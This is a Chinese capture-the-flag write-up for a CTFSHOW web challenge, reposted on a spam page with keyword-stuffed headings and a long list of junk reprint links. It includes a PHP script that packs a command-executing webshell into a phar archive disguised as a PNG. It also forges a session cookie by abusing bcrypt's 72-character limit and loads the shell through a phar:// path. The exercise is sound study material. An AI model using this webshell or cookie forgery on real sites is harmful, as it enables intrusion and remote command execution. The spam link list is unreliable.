当前位置: 首页 > wzjs >正文

合肥地区建网站公司武昌网站建设

合肥地区建网站公司,武昌网站建设,wordpress page post,网站建设的重要性 学校因为该题没有理解到位,导致看wp也一直出错,特此反思一下。 参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客 首先拿到题目: // www.zip 下载源码 我们的思路就是包含一个css文件,…

因为该题没有理解到位,导致看wp也一直出错,特此反思一下。

参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客

首先拿到题目:

// www.zip 下载源码

我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

 

结合这个data和signature,我们可以先创建一个账号登录一下:

eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD

 那么再传入我们生成的phar文件再查看一下cookie的变化:

(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H

接下来我们需要关注一个比较有意思的地方:

现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?

我们需要访问/upload.php 但是不需要上传文件即可:

 

这样就凑够了72以上字符,

因为此处凑够了72以上字符,因此后面添加theme后,我们就需要用这个签名

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD

 {"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

接着我们利用util类里面的urlsafe_base64_encode函数生成$data再拼接之前的.后面签名即可:

这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了

但是没考虑到那个password_hash的特性

 

 具体的思路:

1、可以包含css,所以创建一个css压缩到phar中,生成png的文件头

2、通过访问upload.php凑够那个72字符

{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

3、添加theme参数

4、访问/index.php  传cmd参数执行命令


文章转载自:

http://irJaeso3.txmkx.cn
http://kf0LPHLS.txmkx.cn
http://IoVjzf4f.txmkx.cn
http://Mrk5GOwa.txmkx.cn
http://feBGoZnE.txmkx.cn
http://8zT9L4d4.txmkx.cn
http://a0AhSk0w.txmkx.cn
http://ji0iyMIk.txmkx.cn
http://NmNGpu9X.txmkx.cn
http://cMYHOi4N.txmkx.cn
http://HyiR5WLz.txmkx.cn
http://HdPJRQRo.txmkx.cn
http://GghvJtxG.txmkx.cn
http://YMD32QH1.txmkx.cn
http://btLu5OJX.txmkx.cn
http://CK1BvH8z.txmkx.cn
http://7yUObMTJ.txmkx.cn
http://Od4wCk8T.txmkx.cn
http://9Cu3Lbnz.txmkx.cn
http://hOAq6WDX.txmkx.cn
http://bYtFoPyx.txmkx.cn
http://nWsu3h2m.txmkx.cn
http://hzogfmUR.txmkx.cn
http://l7ceVaP4.txmkx.cn
http://GIxwN2AB.txmkx.cn
http://mFkAEdbH.txmkx.cn
http://YivS58tt.txmkx.cn
http://51pGDzNm.txmkx.cn
http://VhQIO3Un.txmkx.cn
http://gecnW8uj.txmkx.cn
http://www.dtcms.com/wzjs/641345.html

相关文章:

  • 个人网站做镜像怎样增加网站浏览量
  • 51这个网站还有吗重庆公司网站开发
  • 什么是网站的域名购物系统简介
  • jquery扁平自适应网站html5模板万江营销型网站建设
  • 万州网站建设做网站首先必须切割图片吗
  • 鄂尔多斯网站制作 建设广州网站优化价格
  • 门户网站是指郑州制作企业网站
  • 怎么用phpstudy做网站网站章子怎么做
  • 一键生成logo免费网站免费广告在线制作
  • 翻译类公司网站模板做网站有什么语言好
  • 海南住房和城乡建设厅网站登陆营销网站设计公司
  • 宁波网站建设价格合理商标设计图
  • 网站建设模型做网站用什么需要好
  • vs进行网站建设营销型网站的公司
  • 东莞高端商城网站建设工程项目立项流程
  • 目前网站开发技术阿里云centos7 搭建wordpress
  • 企业设计网站网页视频下载工具哪个好
  • 企业网站维护是指微信链接的微网站怎么做的
  • 柳江企业网站建设价格网络安全薪水一般多少
  • 合肥做网站的企业深圳网站设计 深圳市利
  • 5建网站南宁企业建站系统
  • 微网站官网做视频网站 视频放在哪里找
  • 如何提高网站吸引力驰业传媒网站建设
  • 科技公司网站设计服务企业形象设计案例
  • 常州 做网站营销策划方案设计的技巧
  • 唐山营销型网站建设网站平台搭建技术
  • wordpress换主题了百度seo是什么意思
  • 个人网站开发的论文html5手机编程软件
  • 龙华网站设计wordpress 提权
  • 电子商城网站建设项目规划书wordpress 国外主题